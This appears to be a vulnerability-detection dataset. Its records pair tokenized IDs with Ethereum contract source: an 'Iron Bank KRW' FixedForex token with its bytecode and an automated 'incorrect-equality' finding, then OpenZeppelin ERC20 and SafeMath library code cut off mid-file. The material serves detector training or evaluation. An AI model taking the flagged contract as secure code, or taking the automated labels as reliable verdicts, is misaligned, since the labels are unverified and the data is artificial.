[ 101, 1014, 2595, 2683, 2629, 20952, 2581, 2063, 22022, 12740, 2509, 4783, 19797, 22275, 2475, 2546, 2475, 4783, 16048, 2692, 3540, 19797, 2050, 26976, 2546, 2692, 2497, 2094, 2575, 3676, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 19706, 1013, 9366, 2389, 1013, 9366, 2389, 21572, 18037, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 24540, 1013, 3988, 21335, 3468, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19888, 9888, 1013, 14925, 5104, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,884
0x95dfdc8161832e4ff7816ac4b6367ce201538253
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface ibToken { function mint(uint) external returns (uint); function redeemUnderlying(uint) external returns (uint); function exchangeRateStored() external view returns (uint); function balanceOf(address) external view returns (uint); } contract FixedForex { string public constant name = "Iron Bank KRW"; string public constant symbol = "ibKRW"; uint8 public constant decimals = 18; ibToken public immutable ib; address public gov; address public nextgov; uint public commitgov; uint public constant delay = 1 days; uint public liquidity; constructor(ibToken _ib) { ib = _ib; gov = msg.sender; } modifier g() { require(msg.sender == gov); _; } function setGov(address _gov) external g { nextgov = _gov; commitgov = block.timestamp + delay; } function acceptGov() external { require(msg.sender == nextgov && commitgov < block.timestamp); gov = nextgov; } function balanceIB() public view returns (uint) { return ib.balanceOf(address(this)); } function balanceUnderlying() public view returns (uint) { uint256 _b = balanceIB(); if (_b > 0) { return _b * ib.exchangeRateStored() / 1e18; } return 0; } function _redeem(uint amount) internal { require(ib.redeemUnderlying(amount) == 0, "ib: withdraw failed"); } function profit() external { uint _profit = balanceUnderlying() - liquidity; _redeem(_profit); _transferTokens(address(this), gov, _profit); } function withdraw(uint amount) external g { liquidity -= amount; _redeem(amount); _burn(amount); } function deposit() external { uint _amount = balances[address(this)]; allowances[address(this)][address(ib)] = _amount; liquidity += _amount; require(ib.mint(_amount) == 0, "ib: supply failed"); } /// @notice Total number of tokens in circulation uint public totalSupply = 0; mapping(address => mapping (address => uint)) internal allowances; mapping(address => uint) internal balances; event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); function mint(uint amount) external g { // mint the amount totalSupply += amount; // transfer the amount to the recipient balances[address(this)] += amount; emit Transfer(address(0), address(this), amount); } function burn(uint amount) external g { _burn(amount); } function _burn(uint amount) internal { // burn the amount totalSupply -= amount; // transfer the amount from the recipient balances[address(this)] -= amount; emit Transfer(address(this), address(0), amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != type(uint).max) { uint newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { balances[src] -= amount; balances[dst] += amount; emit Transfer(src, dst, amount); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806366d16cc3116100c3578063a0712d681161007c578063a0712d6814610309578063a9059cbb1461031c578063cfad57a21461032f578063d0e30db014610342578063dd62ed3e1461034a578063f94e4e801461038357600080fd5b806366d16cc31461029a5780636a42b8f8146102a257806370a08231146102ac5780637bc6729b146102d55780638da876c9146102dd57806395d89b41146102e557600080fd5b80631f782287116101155780631f782287146102155780632196bcd71461023c57806323b872dd146102455780632e1a7d4d14610258578063313ce5671461026d57806342966c681461028757600080fd5b806306fdde031461015d578063095ea7b31461019f57806312d43a51146101c257806318160ddd146101ed5780631a686502146102045780631a7c25261461020d575b600080fd5b6101896040518060400160405280600d81526020016c49726f6e2042616e6b204b525760981b81525081565b6040516101969190610c47565b60405180910390f35b6101b26101ad366004610beb565b610396565b6040519015158152602001610196565b6000546101d5906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b6101f660045481565b604051908152602001610196565b6101f660035481565b6101f6610402565b6101d57f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c08010181565b6101f660025481565b6101b2610253366004610baf565b6104a1565b61026b610266366004610c15565b610568565b005b610275601281565b60405160ff9091168152602001610196565b61026b610295366004610c15565b6105ac565b61026b6105c3565b6101f66201518081565b6101f66102ba366004610b5a565b6001600160a01b031660009081526006602052604090205490565b61026b6105fd565b6101f6610645565b6101896040518060400160405280600581526020016469624b525760d81b81525081565b61026b610317366004610c15565b610714565b6101b261032a366004610beb565b6107a2565b61026b61033d366004610b5a565b6107b8565b61026b6107fd565b6101f6610358366004610b7c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001546101d5906001600160a01b031681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103f19086815260200190565b60405180910390a350600192915050565b6040516370a0823160e01b81523060048201526000907f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c0801016001600160a01b0316906370a082319060240160206040518083038186803b15801561046457600080fd5b505afa158015610478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049c9190610c2e565b905090565b6001600160a01b0383166000818152600560209081526040808320338085529252822054919290919082148015906104db57506000198114155b156105515760006104ec8583610cf5565b6001600160a01b038881166000818152600560209081526040808320948916808452948252918290208590559051848152939450919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b61055c868686610943565b50600195945050505050565b6000546001600160a01b0316331461057f57600080fd5b80600360008282546105919190610cf5565b909155506105a09050816109f1565b6105a981610ace565b50565b6000546001600160a01b031633146105a057600080fd5b60006003546105d0610645565b6105da9190610cf5565b90506105e5816109f1565b6000546105a99030906001600160a01b031683610943565b6001546001600160a01b031633148015610618575042600254105b61062157600080fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600080610650610402565b9050801561070c57670de0b6b3a76400007f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c0801016001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f29190610c2e565b6106fc9083610cd6565b6107069190610cb4565b91505090565b600091505090565b6000546001600160a01b0316331461072b57600080fd5b806004600082825461073d9190610c9c565b90915550503060009081526006602052604081208054839290610761908490610c9c565b909155505060405181815230906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60006107af338484610943565b50600192915050565b6000546001600160a01b031633146107cf57600080fd5b600180546001600160a01b0319166001600160a01b0383161790556107f76201518042610c9c565b60025550565b30600090815260066020908152604080832054600583528184207f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c0801016001600160a01b031685529092528220819055600380549192839261085e908490610c9c565b909155505060405163140e25ad60e31b8152600481018290527f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c0801016001600160a01b03169063a0712d6890602401602060405180830381600087803b1580156108c557600080fd5b505af11580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190610c2e565b156105a95760405162461bcd60e51b81526020600482015260116024820152701a588e881cdd5c1c1b1e4819985a5b1959607a1b60448201526064015b60405180910390fd5b6001600160a01b0383166000908152600660205260408120805483929061096b908490610cf5565b90915550506001600160a01b03821660009081526006602052604081208054839290610998908490610c9c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109e491815260200190565b60405180910390a3505050565b60405163852a12e360e01b8152600481018290527f0000000000000000000000003c9f5385c288ce438ed55620938a4b967c0801016001600160a01b03169063852a12e390602401602060405180830381600087803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8b9190610c2e565b156105a95760405162461bcd60e51b81526020600482015260136024820152721a588e881dda5d1a191c985dc819985a5b1959606a1b604482015260640161093a565b8060046000828254610ae09190610cf5565b90915550503060009081526006602052604081208054839290610b04908490610cf5565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610797565b80356001600160a01b0381168114610b5557600080fd5b919050565b600060208284031215610b6c57600080fd5b610b7582610b3e565b9392505050565b60008060408385031215610b8f57600080fd5b610b9883610b3e565b9150610ba660208401610b3e565b90509250929050565b600080600060608486031215610bc457600080fd5b610bcd84610b3e565b9250610bdb60208501610b3e565b9150604084013590509250925092565b60008060408385031215610bfe57600080fd5b610c0783610b3e565b946020939093013593505050565b600060208284031215610c2757600080fd5b5035919050565b600060208284031215610c4057600080fd5b5051919050565b600060208083528351808285015260005b81811015610c7457858101830151858201604001528201610c58565b81811115610c86576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610caf57610caf610d0c565b500190565b600082610cd157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610cf057610cf0610d0c565b500290565b600082821015610d0757610d07610d0c565b500390565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b331c94f48af231195da159c4401cd50f3b5025ad9e83f6259898fe26030f1aa64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 20952, 16409, 2620, 16048, 15136, 16703, 2063, 2549, 4246, 2581, 2620, 16048, 6305, 2549, 2497, 2575, 21619, 2581, 3401, 11387, 16068, 22025, 17788, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 8278, 21307, 18715, 2368, 1063, 3853, 12927, 1006, 21318, 3372, 1007, 6327, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 2417, 21564, 20824, 2135, 2075, 1006, 21318, 3372, 1007, 6327, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 3863, 20370, 19277, 2094, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 1065, 3206, 4964, 29278, 10288, 1063, 5164, 2270, 5377, 2171, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,885
0x95DFe0152cA29697c4a78F105888F2ef8d0bccf2
// File: @openzeppelin\upgrades\contracts\Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: 